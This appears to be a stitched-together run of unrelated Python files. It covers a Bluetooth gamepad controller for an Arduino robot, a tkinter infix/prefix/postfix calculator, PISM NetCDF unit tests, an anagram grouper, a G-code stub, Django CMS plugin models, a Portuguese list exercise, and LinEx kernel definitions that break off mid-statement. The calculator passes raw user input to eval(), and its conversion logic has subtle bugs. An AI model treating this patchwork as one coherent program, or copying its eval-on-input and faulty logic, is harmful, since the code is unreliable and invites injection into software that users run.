#!/usr/bin/env python

from multiprocessing import Process, Queue
from btconnection import *
import gamepad
import signal

class Bluetooth:
    btsock = None
    timeout = 10
    countdown = 1
    device = None
    connected = False
    prev = b'<M,0,0>'  # start with some command

    def __init__(self, device):
        # store connected device
        self.device = device

    def connect(self):
        self.btsock = do_connection(*self.device)
        if self.timeout > 0:
            self.btsock.settimeout(self.timeout)
        self.connected = True

    # close bluetooth sock connection
    def disconnect(self):
        self.btsock.close()
        self.finish_countdown()
        self.connected = False

    # signal handler
    def _countdown(self, *args, **kwargs):
        self.tx(self.prev)
        self.reset_countdown()

    # initialize signal countdown
    def begin_countdown(self):
        signal.signal(signal.SIGALRM, self._countdown)
        self.reset_countdown()

    def reset_countdown(self):
        signal.alarm(self.countdown)

    def finish_countdown(self):
        signal.alarm(0)

    def rx(self):
        # read data from BT sock
        read = self.btsock.recv(2048)
        # print("In:", read)

        return read

    def tx(self, data):
        # send data via BT sock
        self.btsock.send(data)
        print('Out:', data)
        # store data sended data to use in countdown
        self.prev = data
        self.reset_countdown()

        return True

    def get_errors(self):
        # return errors from queue
        return self.queue.get()

    def start(self, fx):
        # queue used to pass errors
        self.queue = Queue()
        # store all processes started
        self.processes = []
        # create and start processes
        for f in fx:
            p = Process(target=f, args=(self.queue,))
            self.processes.append(p)
            p.start()

    def stop(self):
        # disconect from sock and terminate processes
        self.disconnect()
        for p in self.processes:
            p.terminate()

class XduinoController(gamepad.XboxController):
    # right and left ratio
    # use for a side turn more or less than other ... never more than 1 (use scale for that)
    rratio = 1
    lratio = 1
    # motors scales ... the maximum number passed
    m1scale = 1023
    m2scale = 1023

    def __init__(self, *args, **kwargs):
        super(XduinoController, self).__init__(*args, **kwargs)

    def translate(self, event, **kwargs):
        # call parent method
        return self.command(super(XduinoController, self).translate(event, **kwargs))

    def command(self, event):
        """  This will translate controller event to Arduino command """
        if event.code in ["LZ", "RZ", "LX", "DX"]:
            # motor events
            if event.code in ["LZ", "RZ", "LX"]:
                # store event for future use
                self.prev[event.code] = event.state

                # rewrite event for accelerate and turn
                m1 = m2 = round(self.prev.get("RZ", 0) - self.prev.get("LZ", 0), self.ndigits)
                turn = self.prev.get("LX", 0)
                if (turn > 0):  # right
                    m2 *= (1 - turn * self.rratio)
                elif (turn < 0):  # left
                    m1 *= (1 - abs(turn) * self.lratio)

            elif event.code == "DX":
                # turn on self axis
                m1 = event.state
                m2 = event.state * -1

            # fix scale, round number and pass it to event var
            state = str(round(m2 * self.m2scale)) + "," + str(round(m1 * self.m1scale))

            event.code = "M"
            event.state = state

        elif event.code in ["BM"]:
            ...  # TODO
            event.code = "C"

        elif event.code in ["BX"]:
            ...  # TODO
            event.code = "X"

        else:
            # skip unimplemented codes
            event.code, event.state = "NIL", 0

        return event


operators = ['(', ')', '/', '*', '+', '-']
def number(temp):
    global operators
    for i in range(0,6):
        if temp==operators[i]:
            return False
    return True

class Stack():
    def __init__(this):
        this.elements = []

    def push(this, data):
        this.elements.append(data)

    def pop(this):
        if len(this.elements) != 0:
            return this.elements.pop()
        else:
            return None
    def get(this):
        return(this.elements)

    def is_empty(this):
        return len(this.elements) == 0

    def is_full(this,n):
        if(len(this.elements) == n):
            return True
        return False

    def getSize(this):
        return len(this.elements)

    def peek(this):
        if len(this.elements) != 0:
            return this.elements[-1]
        else:
            return None
operators = ['(', ')', '/', '*', '+', '-']
def olaviat(operator1,operator2):
    global operators
    if operator1==operators[0] or operator2==operators[0]:
        return True
    elif (operator1 == operators[2] or operator1 == operators[3]) and (operator2 == operators[4] or operator2 == operators[5]):
        return True
    elif (operator1 == operators[4] or operator1 == operators[5]) and (operator2 == operators[2] or operator2 ==operators[3]) and (operator1 == operator2):
        return False

class Prefix():
    global operators
    ans = Stack()
    operator = Stack()

    def __init__(this, infix_argument):
        this.infix = infix_argument

    def to_prefix(this):
        for i in this.infix:
            if number(i):
                this.ans.push(i)
            else:
                if i != operators[1] and this.operator.is_empty() == True or olaviat(i, this.operator.peek()):
                    this.operator.push(i)
                elif i ==operators[1]:
                    while this.operator.peek() != operators[0]:
                        this.ans.push(this.operator.pop() + this.ans.pop() + this.ans.pop())

                    this.operator.pop()#for '('
                elif (this.operator.is_empty() == False and (not olaviat(i, this.operator.peek())))== True:
                    this.ans.push(this.operator.pop() + this.ans.pop() + this.ans.pop())
                    this.operator.push(i)

        while this.operator.is_empty() != True:
            this.ans.push(this.operator.pop() + this.ans.pop() + this.ans.pop())

        for i in this.ans.get():
            return i

class Postfix(Stack):
    global operators
    operator = Stack()
    ans = ""
    def __init__(this, infix_argument):
        this.infix = infix_argument

    def to_postfix(this):
        for i in range(len(this.infix)):
            if number(this.infix[i]):
                this.ans += this.infix[i]
            else:
                if this.infix[i] != operators[1]:
                    if this.operator.is_empty() == True or olaviat(this.infix[i], this.operator.peek()):
                        this.operator.push(this.infix[i])
                    else:
                        this.ans += str(this.operator.pop())
                        this.operator.push(this.infix[i])

                else:
                    while this.operator.peek() != operators[0]:
                        this.ans += this.operator.pop()
                        i += 1
                    this.operator.pop()
                    if i == len(this.infix):
                        while this.operator.is_empty() == False:
                            this.ans += str(this.operator.pop())
                        break
        else:
            while not (this.operator.is_empty()):
                this.ans += str(this.operator.pop())
        return this.ans

def value(pre):
    answer=Stack()

    for i in range(len(pre)):
        answer.push(pre[i])

    while(answer.getSize() != 1):

        a=float(answer.pop())
        b=float(answer.pop())
        c=str(answer.pop())
        if(c=='+'):
            answer.push(str(a + b))
        elif(c=='-'):
            answer.push(str(a - b))
        elif(c=='*'):
            answer.push(str(a * b))
        elif(c=='/'):
            answer.push(str(a / b))
    return float(answer.pop())

def btn_pushed():
    infix= temp.get()
    post_text=Postfix(infix).to_postfix()
    pre_text= Prefix(infix).to_prefix()
    Label1 = Label(window, text="INFIX:", font="Times 15", fg="green").pack()
    Label2 = Label(window, text=infix, background="black", fg="white", font="Times 20  bold", padx=200,pady=5).pack()
    Label3 = Label(window, text="POSTFIX:", font="Times 15", fg="green").pack()
    Label4 = Label(window, text=post_text, background="black", fg="white", font="Times 20  bold", padx=200,pady=5).pack()
    Label5 = Label(window, text="PREFIX:", font="Times 15", fg="green").pack()
    Label6 = Label(window, text=pre_text, background="black", fg="white", font="Times 20  bold", padx=200,pady=5).pack()
    Label7 = Label(window, text="THE VALUE IS:", font="Times 15", fg="green").pack()
    # Label8 = Label(window, text=value(pre_text), background="black", fg="white", font="Times 20  bold", padx=200,pady=5).pack()
    Label8 = Label(window, text=eval(infix), background="black", fg="white", font="Times 20  bold", padx=200,pady=5).pack()

from tkinter import *
window = Tk()
window.title('(in-pre-post)fix')
window.geometry('500x500')
window.resizable(0, 0)
label = Label(window, text="WELLCOME", background="black", fg="white", font="Times 20  bold", padx=200, pady=5).pack()
Label(window, text="ENTER INFIX FORM:",font="Times 15",fg="green").pack()
temp = Entry(window,borderwidth=5,font="Times 20  bold",fg="green")
temp.pack()
Button(window, text="DONE", command=btn_pushed,fg="green",font="Times 15  bold",borderwidth="1").pack()
window.mainloop()


import PISM
import PISM.testing
import os
from unittest import TestCase, SkipTest

# always available
backends = [PISM.PISM_NETCDF3]

if PISM.Pism_USE_PARALLEL_NETCDF4:
    backends += [PISM.PISM_NETCDF4_PARALLEL]

if PISM.Pism_USE_PNETCDF:
    backends += [PISM.PISM_PNETCDF]

if PISM.Pism_USE_PIO:
    # assume that ParallelIO was built with all possible libraries
    backends += [PISM.PISM_PIO_PNETCDF, PISM.PISM_PIO_NETCDF,
                 PISM.PISM_PIO_NETCDF4C, PISM.PISM_PIO_NETCDF4P]

ctx = PISM.Context().ctx

backend_names = {PISM.PISM_NETCDF3 : "netcdf3",
                 PISM.PISM_NETCDF4_PARALLEL : "netcdf4_parallel",
                 PISM.PISM_PNETCDF : "pnetcdf",
                 PISM.PISM_PIO_NETCDF : "pio_netcdf",
                 PISM.PISM_PIO_NETCDF4P : "pio_netcdf4p",
                 PISM.PISM_PIO_NETCDF4C : "pio_netcdf4c",
                 PISM.PISM_PIO_PNETCDF: "pio_pnetcdf"}

def fail(backend):
    assert False, "test failed (backend = {})".format(backend_names[backend])

def test_string_to_backend():
    "PISM.string_to_backend()"

    for backend, name in backend_names.items():
        assert PISM.string_to_backend(name) == backend

    try:
        PISM.string_to_backend("invalid")
        return False
    except RuntimeError:
        pass

class File(TestCase):

    def test_empty_filename(self):
        for backend in backends:
            try:
                f = PISM.File(ctx.com(), "", backend, PISM.PISM_READONLY,
                              ctx.pio_iosys_id())
                fail(backend)
            except RuntimeError:
                pass

    def test_missing_file(self):
        for backend in backends:
            try:
                f = PISM.File(ctx.com(), "missing_file.nc", backend, PISM.PISM_READONLY,
                              ctx.pio_iosys_id())
                fail(backend)
            except RuntimeError:
                pass

    def test_backend_guessing(self):
        "File(..., PISM_GUESS, ...)"

        f = PISM.File(ctx.com(), self.file_with_time, PISM.PISM_GUESS, PISM.PISM_READONLY,
                      ctx.pio_iosys_id())
        assert f.nrecords() == 1

    def test_create_clobber(self):
        "File(..., PISM_READWRITE_CLOBBER)"
        try:
            for backend in backends:
                f = PISM.File(ctx.com(), "test_filename.nc", backend, PISM.PISM_READWRITE_CLOBBER,
                              ctx.pio_iosys_id())
        finally:
            os.remove("test_filename.nc")

    def test_create_move(self):
        "File(..., PISM_READWRITE_MOVE)"
        try:
            for backend in backends:
                f = PISM.File(ctx.com(), "test_filename.nc", backend, PISM.PISM_READWRITE_MOVE,
                              ctx.pio_iosys_id())
        finally:
            os.remove("test_filename.nc")
            try:
                os.remove("test_filename.nc~")
            except:
                pass

    def test_backend(self):
        "File.backend()"
        for backend in backends:
            f = PISM.File(ctx.com(), self.file_with_time, backend, PISM.PISM_READONLY,
                          ctx.pio_iosys_id())
            assert f.backend() == backend
            f.close()

    def test_com(self):
        "File.com()"
        for backend in backends:
            f = PISM.File(ctx.com(), self.file_with_time, backend, PISM.PISM_READONLY,
                          ctx.pio_iosys_id())
            assert f.com() == ctx.com()
            f.close()

    def test_close(self):
        "File.close()"
        for backend in backends:
            f = PISM.File(ctx.com(), self.file_with_time, backend, PISM.PISM_READONLY,
                          ctx.pio_iosys_id())
            f.close()

            try:
                f.close()
                # closing twice is an error
                fail(backend)
            except RuntimeError:
                pass

    def test_redef(self):
        "File.redef()"
        for backend in backends:
            f = PISM.File(ctx.com(), self.file_with_time, backend, PISM.PISM_READWRITE,
                          ctx.pio_iosys_id())
            f.redef()
            f.close()

    def test_enddef(self):
        "File.enddef()"
        for backend in backends:
            f = PISM.File(ctx.com(), self.file_with_time, backend, PISM.PISM_READWRITE,
                          ctx.pio_iosys_id())
            f.enddef()
            f.close()

    def test_sync(self):
        "File.sync()"
        for backend in backends:
            f = PISM.File(ctx.com(), self.file_with_time, backend, PISM.PISM_READWRITE,
                          ctx.pio_iosys_id())
            f.sync()
            f.close()

    def test_filename(self):
        "File.filename()"
        for backend in backends:
            f = PISM.File(ctx.com(), self.file_with_time, backend, PISM.PISM_READONLY,
                          ctx.pio_iosys_id())
            assert f.filename() == self.file_with_time
            f.close()

    def test_nrecords(self):
        "File.nrecords()"
        for F in self.files:
            for backend in backends:
                f = PISM.File(ctx.com(), F, backend, PISM.PISM_READONLY,
                              ctx.pio_iosys_id())
                assert f.nrecords() == 1
                f.close()

    def test_nrecords_variable(self):
        "File.nrecords(variable)"
        for F in [self.file_with_time, self.file_without_time]:
            for backend in backends:
                f = PISM.File(ctx.com(), F, backend, PISM.PISM_READONLY,
                              ctx.pio_iosys_id())
                assert f.nrecords("v", "standard_name", ctx.unit_system()) == 1
                # found using the standard name
                assert f.nrecords("w", "standard_name", ctx.unit_system()) == 1
                assert f.nrecords("missing", "", ctx.unit_system()) == 0
                f.close()

    def test_nvariables(self):
        "File.nvariables()"
        for backend in backends:
            f = PISM.File(ctx.com(), self.file_with_time, backend, PISM.PISM_READONLY,
                          ctx.pio_iosys_id())
            assert f.nvariables() == 4 # time, x, y, v
            f.close()

    def test_nattributes(self):
        "File.nattributes()"
        for backend in backends:
            f = PISM.File(ctx.com(), self.file_with_time, backend, PISM.PISM_READONLY,
                          ctx.pio_iosys_id())
            assert f.nattributes("time") == 4 # units, axis, calendar, long_name
            assert f.nattributes("x") == 5 # units, axis, long_name, standard_name, spacing_meters
            assert f.nattributes("PISM_GLOBAL") == 2

            f.close()

    def test_define_dimension(self):
        "File.define_dimension()"
        for backend in backends:
            f = PISM.File(ctx.com(), self.file_with_time, backend, PISM.PISM_READWRITE,
                          ctx.pio_iosys_id())
            f.define_dimension("dim_{}".format(backend), 10 + backend)
            f.close()

    def test_dimension_length(self):
        "File.dimension_length()"
        for backend in backends:
            f = PISM.File(ctx.com(), self.file_with_time, backend, PISM.PISM_READONLY,
                          ctx.pio_iosys_id())
            assert f.dimension_length("time") == 1
            assert f.dimension_length("x") == 3
            assert f.dimension_length("y") == 5
            assert f.dimension_length("z") == 0
            f.close()

    def test_dimensions(self):
        "File.dimensions()"
        for backend in backends:
            f = PISM.File(ctx.com(), self.file_with_time, backend, PISM.PISM_READWRITE,
                          ctx.pio_iosys_id())
            assert f.dimensions("v") == ("time", "y", "x")

            variable_name = "scalar_variable_{}".format(backend)
            f.define_variable(variable_name, PISM.PISM_BYTE, [])
            assert f.dimensions(variable_name) == ()
            f.close()

    def test_find_dimension(self):
        "File.find_dimension()"
        for backend in backends:
            f = PISM.File(ctx.com(), self.file_with_time, backend, PISM.PISM_READONLY,
                          ctx.pio_iosys_id())
            assert f.find_dimension("x")
            assert not f.find_dimension("z")
            f.close()

    def test_dimension_type(self):
        "File.dimension_type()"
        for backend in backends:
            f = PISM.File(ctx.com(), self.file_with_time, backend, PISM.PISM_READONLY,
                          ctx.pio_iosys_id())
            f.dimension_type("time", ctx.unit_system()) == PISM.T_AXIS
            f.dimension_type("x", ctx.unit_system()) == PISM.X_AXIS
            f.dimension_type("y", ctx.unit_system()) == PISM.Y_AXIS

            try:
                f.dimension_type("z", ctx.unit_system())
                fail(backend)
            except RuntimeError:
                pass

            f.close()

            f = PISM.File(ctx.com(), self.file_dim_types, backend, PISM.PISM_READONLY,
                          ctx.pio_iosys_id())

            def check(names, axis_type):
                for c in names:
                    assert f.dimension_type(c, ctx.unit_system()) == axis_type

            check(self.x_names + self.strange_x_names, PISM.X_AXIS)
            check(self.y_names + self.strange_y_names, PISM.Y_AXIS)
            check(self.z_names + self.strange_z_names, PISM.Z_AXIS)
            check(self.t_names + self.strange_t_names, PISM.T_AXIS)

            assert f.dimension_type("unknown_axis", ctx.unit_system()) == PISM.UNKNOWN_AXIS

            f.close()

    def test_read_dimension(self):
        "File.read_dimension()"
        for backend in backends:
            f = PISM.File(ctx.com(), self.file_with_time, backend, PISM.PISM_READONLY,
                          ctx.pio_iosys_id())
            assert f.read_dimension("x") == (-10000.0, 0.0, 10000.0)

            try:
                f.read_dimension("z")
                fail(backend)
            except RuntimeError:
                pass

            f.close()

    def test_variable_name(self):
        "File.variable_name()"
        for backend in backends:
            f = PISM.File(ctx.com(), self.file_with_time, backend, PISM.PISM_READONLY,
                          ctx.pio_iosys_id())
            assert f.variable_name(0) == "time"

            # invalid variable index
            try:
                f.variable_name(1000)
                fail(backend)
            except RuntimeError:
                pass

            f.close()

    def test_define_variable(self):
        "File.define_variable()"
        for backend in backends:
            f = PISM.File(ctx.com(), self.file_with_time, backend, PISM.PISM_READWRITE,
                          ctx.pio_iosys_id())
            f.define_variable("var_{}".format(backend), PISM.PISM_DOUBLE, ["y", "x"])
            # defining an existing variable should fail
            try:
                f.define_variable("var_{}".format(backend), PISM.PISM_DOUBLE, ["y", "x"])
                fail(backend)
            except RuntimeError:
                pass

            # defining a variable depending on a non-existent dimension should fail gracefully
            try:
                f.define_variable("var_{}_1".format(backend), PISM.PISM_DOUBLE, ["y", "x", "z"])
                fail(backend)
            except RuntimeError:
                pass
            f.close()

    def test_find_variable(self):
        "File.find_variable(short_name)"
        for backend in backends:
            f = PISM.File(ctx.com(), self.file_with_time, backend, PISM.PISM_READONLY,
                          ctx.pio_iosys_id())
            assert f.find_variable("time")
            assert not f.find_variable("z")
            f.close()

    def test_find_variable(self):
        "File.find_variable(short_name, standard_name)"
        for backend in backends:
            f = PISM.File(ctx.com(), self.file_with_time, backend, PISM.PISM_READONLY,
                          ctx.pio_iosys_id())
            assert f.find_variable("v", "standard_name").exists
            assert f.find_variable("v", "standard_name").found_using_standard_name
            assert f.find_variable("other_name", "standard_name").found_using_standard_name
            assert f.find_variable("other_name", "standard_name").name == "v"
            assert not f.find_variable("v", "").found_using_standard_name
            assert f.find_variable("missing", "other_standard_name").exists == False
            assert f.find_variable("missing", "other_standard_name").name == ""
            f.close()

            f = PISM.File(ctx.com(), self.file_inconsistent, backend, PISM.PISM_READONLY,
                          ctx.pio_iosys_id())

            try:
                f.find_variable("v", "standard_name")
                fail(backend)
            except RuntimeError:
                pass

    def test_read_variable(self):
        "File.read_variable()"
        for backend in backends:
            f = PISM.File(ctx.com(), self.file_with_time, backend, PISM.PISM_READONLY,
                          ctx.pio_iosys_id())
            f.read_variable("x", [1], [1]) == [0.0]

            # start and count of different lengths
            if PISM.Pism_DEBUG:
                try:
                    f.read_variable("v", [1, 1], [1, 1, 1])
                    fail(backend)
                except RuntimeError:
                    pass

            f.close()

    def test_read_variable_transposed(self):
        raise SkipTest("disable this in Python bindings")

    def test_write_variable(self):
        "File.write_variable()"
        for backend in backends:
            f = PISM.File(ctx.com(), self.file_without_time, backend, PISM.PISM_READWRITE,
                          ctx.pio_iosys_id())
            f.write_variable("v", [1, 1], [1, 1], [100.0])
            f.sync()
            assert f.read_variable("v", [1, 1], [1, 1]) == (100.0,)

            # start and count of different lengths
            if PISM.Pism_DEBUG:
                try:
                    f.write_variable("v", [1, 1], [1, 1, 1], [200.0])
                    fail(backend)
                except RuntimeError:
                    pass

            f.close()

    def test_write_distributed_array(self):
        raise SkipTest("disable this in Python bindings")

    def test_remove_attribute(self):
        "File.remove_attribute()"
        for backend in backends:
            f = PISM.File(ctx.com(), self.file_with_time, backend, PISM.PISM_READWRITE,
                          ctx.pio_iosys_id())
            assert f.attribute_type("time", "units") == PISM.PISM_CHAR
            f.remove_attribute("time", "units")
            assert f.attribute_type("time", "units") == PISM.PISM_NAT
            f.write_attribute("time", "units", "seconds since 1-1-1")
            assert f.attribute_type("time", "units") == PISM.PISM_CHAR
            f.close()

    def test_attribute_name(self):
        "File.attribute_name()"
        for backend in backends:
            f = PISM.File(ctx.com(), self.file_with_time, backend, PISM.PISM_READONLY,
                          ctx.pio_iosys_id())
            assert f.attribute_name("time", 0) == "units"
            assert f.attribute_name("PISM_GLOBAL", 0) == "global_text_attr"
            f.close()

    def test_attribute_type(self):
        "File.attribute_type()"
        for backend in backends:
            f = PISM.File(ctx.com(), self.file_with_time, backend, PISM.PISM_READONLY,
                          ctx.pio_iosys_id())
            f.attribute_type("x", "units") == PISM.PISM_CHAR
            f.attribute_type("x", "spacing_meters") == PISM.PISM_DOUBLE
            f.attribute_type("x", "missing") == PISM.PISM_NAT
            f.attribute_type("PISM_GLOBAL", "global_text_att") == PISM.PISM_CHAR
            f.close()

    def test_write_attribute_number(self):
        "File.write_attribute(number)"
        for backend in backends:
            f = PISM.File(ctx.com(), self.file_with_time, backend, PISM.PISM_READWRITE,
                          ctx.pio_iosys_id())
            f.write_attribute("v", "new_attribute", PISM.PISM_DOUBLE, (1.0, 2.0))
            assert f.read_double_attribute("v", "new_attribute") == (1.0, 2.0)

            f.write_attribute("PISM_GLOBAL", "new_attribute", PISM.PISM_DOUBLE, (1.0, 2.0))
            assert f.read_double_attribute("PISM_GLOBAL", "new_attribute") == (1.0, 2.0)

            f.close()

    def test_write_attribute_string(self):
        "File.write_attribute(string)"
        for backend in backends:
            f = PISM.File(ctx.com(), self.file_with_time, backend, PISM.PISM_READWRITE,
                          ctx.pio_iosys_id())
            f.write_attribute("v", "new_attribute", "test string")
            assert f.read_text_attribute("v", "new_attribute") == "test string"

            f.write_attribute("PISM_GLOBAL", "new_global_attr", "test_global")
            assert f.read_text_attribute("PISM_GLOBAL", "new_global_attr") == "test_global"
            f.close()

    def test_read_double_attribute(self):
        "File.read_double_attribute()"
        for backend in backends:
            f = PISM.File(ctx.com(), self.file_with_time, backend, PISM.PISM_READONLY,
                          ctx.pio_iosys_id())
            assert f.read_double_attribute("x", "spacing_meters") == (10000.0,)
            assert f.read_double_attribute("x", "missing") == ()
            # type mismatch: fail with a helpful message
            try:
                f.read_double_attribute("x", "units")
                fail(backend)
            except RuntimeError:
                pass

            assert f.read_double_attribute("PISM_GLOBAL", "global_double_attr") == (12.0,)

            f.close()

    def test_read_text_attribute(self):
        "File.read_text_attribute()"
        for backend in backends:
            f = PISM.File(ctx.com(), self.file_with_time, backend, PISM.PISM_READONLY,
                          ctx.pio_iosys_id())
            assert f.read_text_attribute("x", "units") == "m"
            assert f.read_text_attribute("x", "missing") == ""

            assert f.read_text_attribute("PISM_GLOBAL", "global_text_attr") == "test_global"

            # throw an error in case of a type mismatch
            try:
                f.read_text_attribute("x", "spacing_meters")
                fail(backend)
            except RuntimeError:
                pass

            f.close()

    def test_append_history(self):
        "File.read_text_attribute()"
        for backend in backends:
            f = PISM.File(ctx.com(), self.file_with_time, backend, PISM.PISM_READWRITE,
                          ctx.pio_iosys_id())
            try:
                f.remove_attribute("PISM_GLOBAL", "history")
            except:
                pass
            f.append_history("one")
            f.append_history("two")
            assert f.read_text_attribute("PISM_GLOBAL", "history") == "twoone"
            f.close()

    def setUp(self):
        self.file_with_time = "test_file_with_time.nc"
        self.file_without_time = "test_file_without_time.nc"
        self.file_inconsistent = "test_file_inconsistent.nc"
        self.file_dim_types = "test_file_dim_types.nc"

        self.files = [self.file_with_time, self.file_without_time, self.file_inconsistent, self.file_dim_types]

        grid = PISM.testing.shallow_grid()
        vec = PISM.IceModelVec2S(grid, "v", PISM.WITHOUT_GHOSTS)
        vec.set_attrs("testing", "dummy variable for testing",
                      "Kelvin", "Celsius", "standard_name", 0)
        vec.set(1.0)
        vec.set_time_independent(True)
        vec.dump(self.file_without_time)

        # file with two variables with the same standard name
        vec.dump(self.file_inconsistent)
        vec.metadata(0).set_name("w")
        vec.write(self.file_inconsistent)
        vec.metadata(0).set_name("v")

        vec.set(2.0)
        vec.set_time_independent(False)
        vec.dump(self.file_with_time)

        f = PISM.File(ctx.com(), self.file_with_time, PISM.PISM_NETCDF3, PISM.PISM_READWRITE)
        f.write_attribute("PISM_GLOBAL", "global_text_attr", "test_global")
        f.write_attribute("PISM_GLOBAL", "global_double_attr", PISM.PISM_DOUBLE, [12.0])
        f.close()

        f = PISM.File(ctx.com(), self.file_dim_types, PISM.PISM_NETCDF3, PISM.PISM_READWRITE_CLOBBER)
        self.x_names = ["x", "X", "x1", "X1"]
        strange_x_attrs = {"coord_x_1" : ("axis", "x"),
                           "coord_x_2" : ("axis", "X")}
        self.strange_x_names = list(strange_x_attrs.keys())

        self.y_names = ["y", "Y", "y1", "Y1"]
        strange_y_attrs = {"coord_y_1" : ("axis", "y"),
                           "coord_y_2" : ("axis", "Y")}
        self.strange_y_names = list(strange_y_attrs.keys())

        self.z_names = ["z", "Z", "z1", "Z1"]
        strange_z_attrs = {"coord_z_1" : ("axis", "z"),
                           "coord_z_2" : ("axis", "Z")}
        self.strange_z_names = list(strange_z_attrs.keys())

        self.t_names = ["t", "T", "time", "t0", "T0"]
        strange_t_attrs = {"coord_t_1" : ("units", "years"),
                           "coord_t_2" : ("standard_name", "time"),
                           "coord_t_3" : ("axis", "T"),
                           "coord_t_4" : ("axis", "t")}
        self.strange_t_names = list(strange_t_attrs.keys())

        def create(names, strange_names, attrs):
            for v in names + strange_names:
                f.define_variable(v, PISM.PISM_DOUBLE, [])

            for c, (a, v) in attrs.items():
                f.write_attribute(c, a, v)

        create(self.x_names, self.strange_x_names, strange_x_attrs)
        create(self.y_names, self.strange_y_names, strange_y_attrs)
        create(self.z_names, self.strange_z_names, strange_z_attrs)
        create(self.t_names, self.strange_t_names, strange_t_attrs)

        f.define_variable("unknown_axis", PISM.PISM_DOUBLE, [])

    def tearDown(self):
        for f in self.files:
            os.remove(f)
            pass

class StringAttribute(TestCase):
    "Test reading a NetCDF-4 string attribute."

    def test_read_string_attribute(self):
        "File.read_text_attribute() (string)"

        backends = [PISM.PISM_NETCDF3]

        if PISM.Pism_USE_PARALLEL_NETCDF4:
            backends += [PISM.PISM_NETCDF4_PARALLEL]

        for backend in backends:
            f = PISM.File(ctx.com(), self.basename + ".nc", backend, PISM.PISM_READONLY)
            assert self.attribute == f.read_text_attribute("PISM_GLOBAL", "string_attribute")
            assert self.attribute == f.read_text_attribute("PISM_GLOBAL", "text_attribute")
            # multi-valued string attributes are turned into comma-separated lists
            assert "{0},{0}".format(self.attribute) == f.read_text_attribute("PISM_GLOBAL",
                                                                             "string_multi_value")
            f.close()

    def setUp(self):
        self.basename = "string_attribute_test"
        self.attribute = "string attribute"

        cdl = """
netcdf string_attribute_test {{
  string :string_attribute = "{0}" ;
  string :string_multi_value = "{0}", "{0}" ;
  :text_attribute = "{0}" ;
}}
""".format(self.attribute)
        with open(self.basename + ".cdl", "w") as f:
            f.write(cdl)

        os.system("ncgen -4 %s.cdl" % self.basename)

    def tearDown(self):
        os.remove(self.basename + ".nc")
        os.remove(self.basename + ".cdl")


def is_anagram(str1, str2):
    return sorted(str1) == sorted(str2)

def is_already_added(word, list_of_lists):
    for cur_list in list_of_lists:
        if len(cur_list) > 0 and is_anagram(word, cur_list[0]):
            return True
    return False

def sort_anagrams(list_of_strings):
    res = list()
    for i in range(len(list_of_strings)):
        str1 = list_of_strings[i]
        if is_already_added(str1, res):
            continue
        sub_list = [str1]
        for j in range(i + 1, len(list_of_strings)):
            str2 = list_of_strings[j]
            if is_anagram(str1, str2):
                sub_list.append(str2)
        res.append(sub_list)
    return res

list_of_words = ['deltas', 'retainers', 'desalt', 'pants', 'slated', 'generating', 'ternaries',
                 'smelters', 'termless', 'salted', 'staled', 'greatening', 'lasted', 'resmelts']

print(sort_anagrams(list_of_words))


""" functions for G-Code generation"""
# libs

class Gcode(object):
    def __init__(self, start_point=None, end_point=None):
        self.header: list = []
        self.start_point = start_point
        self.end_point = end_point
        # self.feed_rate = None
        self.list: list = []
        #  -------------------
        # action list
        self.rapid = "G00"
        self.linear_move = "G01"
        self.dwell = "G04"
        self.stop = "M01"
        self.end = "M02"
        self.on_cw = "M03"
        self.on_ccw = "M04"
        self.spindle_off = "M05"
        self.end_program = "M30"
        self.home = "G28"
        self.move_to_start = "G53"
        self.abs_pos = "G90"
        self.incremental_pos = "G91"
        self.set_position = "G92"
        self.units_per_min = "G94"
        # --------------
        # macro list
        # self.corner_loop = "f150, G01 X Y Z"
        # self.new_block = ""
        # self.end_block = ""
        # self.end_macro = ""
        # self.start_macro = ""
        # self.end_loop = ""
        # self.start_loop = ""
        self.reset_point = "G1 X0.0000 Y0.0000 Z2\n"
        self.change_line_speed = "F70\n"
        self.line_speed = "F200\n"

# For point in Model, G01 X() y() Z()
# x>Y
# At end of each pass, reduce speed and continue
# return across next "line", G01 X() y() Z()
# ===
# after full pass run cross cut over the Model
# Y>X

# Compile the G-Code

# Convert STL data to GCODE
# gcode = stl_to_gcode(stl_data, ctx, queue)

# Create the G-Code
# print("Creating G-Code...")
# gcode = stl_to_gcode(stl_data, ctx, queue)

# example
# M3 Start Spindle
# G01 X? Y? Z?
# ...
# M5 Stop Spindle

# G20 (Units are Inches)
# G90 (Abs pos)
# G94 (units per min rate)

# G-code map over the negative
# if 0 cut
# M start
# G01 X() Y()
# else pass
# M stop
# G00

# Finally
# M2 End Program


from django.db import models
from django.utils.translation import ugettext_lazy as _
from cms.models import CMSPlugin

# Promo plugin model
class PromoPluginModel(CMSPlugin):

    background = models.ImageField(
        _('Background image'),
        blank=False,
        null=False,
        upload_to='upload/promo_box/',
        help_text=_('The background of the promo box')
    )

# Fancy title plugin model
class FancyTitlePluginModel(CMSPlugin):

    MARGIN_TOP = (
        ('', 'None'),
        ('sm', 'Small'),
        ('md', 'Medium'),
        ('lg', 'Large')
    )

    title = models.CharField(
        _('Title'),
        max_length=60,
        blank=False,
        null=False,
        help_text=_('Title to be displayed')
    )

    top_margin = models.CharField(
        _('Margin top'),
        max_length=20,
        blank=True,
        null=False,
        choices=MARGIN_TOP,
        default='',
        help_text=_('Size of the margin top')
    )

    center = models.BooleanField(
        _('Centered'),
        max_length=20,
        default=False,
        help_text=_('Should the title be centered?')
    )

    def __str__(self):
        return self.title


'''Crie um programa onde o usuário possa digitar cinco valores numericos e cadastre-os em uma lista,
ja na posição de inserção(sem usar o .sort())
e mostr-os na tela em ordem'''

lista = []
for cont in range(0, 5):
    user = int(input('Digite um valor: '))
    if cont == 0 or user > lista[-1]:
        lista.append(user)
    else:
        pos = 0
        while pos < len(lista):
            if user <= lista[pos]:
                lista.insert(pos, user)
                break
            pos += 1

print(f'Os valores digitados em ordem foram {lista}')


from LinEx.calculation import Calculation, costFactors
from LinEx.symboltree import SymbolTree

#=== Notes ===#
# Don't forget to add new kernels to the list at the bottom, otherwise it won't be used!
# binStrength: 3 for multiplication, 1 for additon. Leave default for functions, float('inf') for atoms.
# 5 for power (**)
# 1024 for transpose (as a means to say: Not infinite but pretty high.
# Note that testing whether shapes match (such as in a*b) is NOT the kernel's job. The EspTree does that.

# Remember that adding top-level attribute requirements where applicable helps performance by ruling out
# impossibly kernels early on. Even if 'the property is there anyway', adding the requirement helps!

#=== Cost simplifiers ===#

#=== Unary Operations ===#
uminus = Calculation(
    SymbolTree('u-', SymbolTree('X')),
    lambda sizes: sizes['X'][0]*sizes['X'][1],
    lambda codes, dims: f"-{codes['X']}", # Need info about X to check whether brackets are required.
    bindStrengths=1
)

sum = Calculation(
